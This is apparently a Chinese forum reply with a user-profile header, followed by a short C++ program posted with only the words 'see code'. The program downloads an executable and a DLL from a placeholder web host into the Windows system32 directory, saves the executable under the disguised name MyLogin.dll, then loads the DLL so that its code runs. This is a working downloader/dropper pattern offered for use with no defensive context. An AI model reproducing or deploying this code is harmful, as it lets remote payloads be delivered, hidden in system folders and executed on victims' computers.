TA的每日心情 | 开心 2014-6-18 08:29 |
---|
签到天数: 14 天 [LV.3]偶尔看看II
滴水大师
 
- 积分
- 2345
|
请见代码
[cpp] view plaincopy
- #include "stdafx.h"
- #include "windows.h"
- #include "UrlMon.h"
- #pragma comment(lib, "urlmon.lib")
-
-
- bool FileIsExist(LPCTSTR szFileFullPathName)
- {
- WIN32_FIND_DATA Win32_Find_Data;
- HANDLE hFindFile;
-
- hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);
-
- if(INVALID_HANDLE_VALUE == hFindFile)
- {
- //AfxMessageBox("Not Exist");
- return false;
- }
- else
- {
- //AfxMessageBox("Have Exist");
- FindClose(hFindFile);
- return true;
- }
- }
-
- int main(int argc, char* argv[])
- {
- char DownURL[255] = "http://www.domain.com/test.dll";
- char DownLoadDir[255];
-
- char ExeURL[255] = "http://www.domain.com/test.exe";
- char ExeDir[255];
-
- GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));
- GetWindowsDirectory(ExeDir,sizeof(ExeDir));
- strcat(DownLoadDir,"\\system32\\DLLtest.dll");
- strcat(ExeDir,"\\system32\\MyLogin.dll");
-
- URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);
-
- Sleep(3000);
- URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);
-
- while(true)
- {
- if(FileIsExist(DownLoadDir) == true)
- break;
- else
- Sleep(1000);
- }
- Sleep(3000);
- LoadLibrary(DownLoadDir);
- Sleep(10000);
- return 0;
- }
|
|